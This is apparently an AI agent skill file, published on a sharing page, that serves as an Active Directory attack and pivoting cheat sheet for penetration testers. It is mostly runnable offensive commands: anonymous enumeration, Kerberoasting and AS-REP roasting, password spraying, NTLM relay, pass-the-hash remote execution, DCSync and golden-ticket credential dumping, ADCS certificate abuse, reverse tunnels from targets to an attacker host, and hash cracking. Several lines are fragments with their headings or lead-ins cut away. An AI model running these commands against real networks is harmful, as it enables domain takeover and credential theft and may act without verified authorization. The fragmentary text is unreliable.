Ad pivot arsenal

From NoorQureshi/security-skills · View interactive version

Ad pivot arsenal is an AI agent skill from the GitHub repository NoorQureshi/security-skills. One line: Active Directory, pivoting/tunneling, and password-cracking arsenal for authorized engagements. Trigger signals: "Active Directory", "domain", "kerberos", "kerberoast", "AS-REP", "BloodHound", "DCSync", "AD/.local domain", holding domain creds or a foothold. Authorized, in-scope targets on

How to use this skill

Skill file

Active Directory, pivoting & cracking arsenal

Loads on domain-joined targets, or once you hold a foothold/creds and need to reach

Domain Admin. Authorized, in-scope engagements only. Add the DC

to /etc/hosts (IP dc01.corp.local corp.local) early — Kerberos needs the FQDN.

Enumeration

nxc smb dc01.corp.local -u '' -p '' --shares --users --pass-pol

-u '' -p '' = null/anonymous auth; --pass-pol reveals the lockout threshold you must

respect when spraying. Add -M spider_plus to loot readable shares, and --rid-brute to

enumerate domain users over SAMR when null LDAP is closed but SMB null is open.

nxc ldap dc01.corp.local -u user -p pass --asreproast asrep.txt --kerberoasting kerb.txt

Also --users --groups --password-not-required for quick wins.

enum4linux-ng -A dc01.corp.local — -A = all simple enumeration (users, groups, shares, pol).

(passwords hide there). ldapsearch -x -H ldap://dc01.corp.local -b "DC=corp,DC=local"

-x = simple auth, -b = search base. Add "(objectClass=user)" sAMAccountName description.

Gotcha: no base? grab it from ldapsearch -x -H ldap://IP -s base namingContexts.

rpcclient -U "" -N dc01.corp.local then enumdomusers, querydispinfo, enumdomgroups.

-N = no password.

kerbrute userenum -d corp.local --dc dc01.corp.local users.txt

Confirms which names exist so you spray/roast a real list. Gotcha: needs the FQDN + reachable 88.

From Linux: bloodhound-python -d corp.local -u user -p pass -ns $TARGET -c All

On host: SharpHound.exe -c All (or Invoke-BloodHound -CollectionMethod All).

Import the zip into BloodHound and run the "Shortest Path to Domain Admins" query.

Credential attacks

crackable hash with NO creds. impacket-GetNPUsers corp.local/ -usersfile users.txt -request -no-pass -dc-ip $TARGET

With creds: impacket-GetNPUsers corp.local/user:pass -request. Crack the $krb5asrep$ with

hashcat 18200. Why it works: the KDC hands back a TGT-material blob encrypted under the

user's password key when pre-auth is off.

accounts with an SPN; the TGS is encrypted with the service account's password.

impacket-GetUserSPNs corp.local/user:pass -dc-ip $TARGET -request

Crack the $krb5tgs$ with hashcat 13100. Service accounts often have weak, static passwords.

nxc smb dc01.corp.local -u users.txt -p 'Winter2025!' --continue-on-success

Gotcha: check --pass-pol first — spraying past the lockout threshold locks accounts and burns

the domain. Space attempts under the observation window; one password per round.

responder -I tun0 — passively grabs hashes when a host mistypes a share. Crack with hashcat 5600.

Authorized lab only. Gotcha: disable SMB/HTTP servers in Responder.conf if you plan to relay instead.

impacket-ntlmrelayx -tf targets.txt -smb2support (add -i for interactive shell, --delegate-access).

Pairs with responder (turn off its own SMB/HTTP listeners). Relaying to LDAP enables RBCD / ADCS ESC8.

Lateral movement / execution

evil-winrm -i $TARGET -u user -p pass | pass-the-hash: evil-winrm -i IP -u user -H <NTLM>

Best UX once a user is in Remote Management Users. Upload/download built in.

exec. impacket-psexec corp.local/user:pass@$TARGET (drops a service — noisy, SYSTEM).

impacket-wmiexec corp.local/user:pass@IP (semi-interactive, no disk artifact — prefer this).

smbexec/atexec = fallbacks (service via SMB / scheduled task). All accept -hashes :<NTLM>.

nxc smb targets.txt -u user -H <NTLM> -x 'whoami' (-X for PowerShell). -H = pass-the-hash.

nxc smb IP -u user -H aad3b435...:31d6cfe0... — the -H/-hashes flag is honored across nxc,

evil-winrm, and every impacket tool. Why: NTLM auth proves knowledge of the hash, not the password.

impacket-getTGT corp.local/user -hashes :<NTLM> → export KRB5CCNAME=user.ccache →

impacket-wmiexec -k -no-pass corp.local/user@dc01.corp.local. -k = use Kerberos ccache, -no-pass

= don't prompt. Gotcha: Kerberos demands the FQDN (not IP) and a synced clock.

(-just-dc = pull NTDS via replication — needs DS-Replication rights; grabs krbtgt → golden ticket).

Local SAM/LSA: impacket-secretsdump -sam SAM -system SYSTEM LOCAL or over the wire on a target.

ADCS

certipy find -u user@corp.local -p pass -dc-ip $TARGET -vulnerable -stdout

-vulnerable = only show abusable templates. Look for ESC1 (enrollee supplies subject).

certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local

Then auth with the cert: certipy auth -pfx administrator.pfx -dc-ip IP → NT hash / TGT.

impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

Coerce auth (PetitPotam/printerbug) at the DC, capture its cert, then certipy auth.

certipy auth -pfx user.pfx yields the NT hash; feed it back into PtH / secretsdump.

Pivoting & tunneling

Proxy (attacker): sudo ip tuntap add user $USER mode tun ligolo; sudo ip link set ligolo up; ./proxy -selfcert

Agent (target): ./agent -connect 10.10.x.x:11601 -ignore-cert. In the proxy console: session,

then start, and add a route: sudo ip route add 172.16.1.0/24 dev ligolo. Now reach the whole subnet natively.

Server (attacker): chisel server -p 8000 --reverse

Client (target): chisel client 10.10.x.x:8000 R:1080:socks → SOCKS5 on your 127.0.0.1:1080.

Point proxychains at 1080. R: = reverse.

sshuttle -r user@$TARGET 172.16.1.0/24 — tunnels that subnet through the SSH host. -x to exclude.

ssh -L 8080:127.0.0.1:80 user@pivot (local) · ssh -D 1080 user@pivot (dynamic SOCKS) ·

ssh -R 4444:127.0.0.1:4444 user@attacker (reverse, bring a port back). -fN to background without a shell.

set socks5 127.0.0.1 1080 under [ProxyList]; then proxychains nxc smb 172.16.1.10.

Gotcha: nmap through it must be proxychains nmap -sT -Pn (TCP-connect only; no ping/UDP over SOCKS).

socat TCP-LISTEN:8080,fork TCP:172.16.1.10:80 — forwards attacker→8080 to the internal host.

Password cracking

hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

Common modes: 1000 NTLM · 5600 NetNTLMv2 · 18200 AS-REP · 13100 Kerberoast (TGS) ·

1800 sha512crypt ($6$, Linux shadow) · 500 md5crypt ($1$) · 22000 WPA/WPA2.

-r applies rules; add --username if the file has user:hash lines.

john --wordlist=/usr/share/wordlists/rockyou.txt --format=krb5tgs kerb.txt then john --show ....

Use zip2john, ssh2john, keepass2john to extract crackable hashes from files.

hashid '<hash>' or nth -t '<hash>' (name-that-hash) — maps the format to the hashcat/john mode.

Discipline / gotchas

Fix: sudo ntpdate dc01.corp.local or wrap the tool in faketime "$(...)" impacket-....

target dc01.corp.local. SPNs are name-based, not IP-based.

traverse SOCKS and will hang or lie.

observation window, or you lock the accounts and disrupt the domain for everyone.

blindly roasting/relaying. The graph usually names your next move.

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.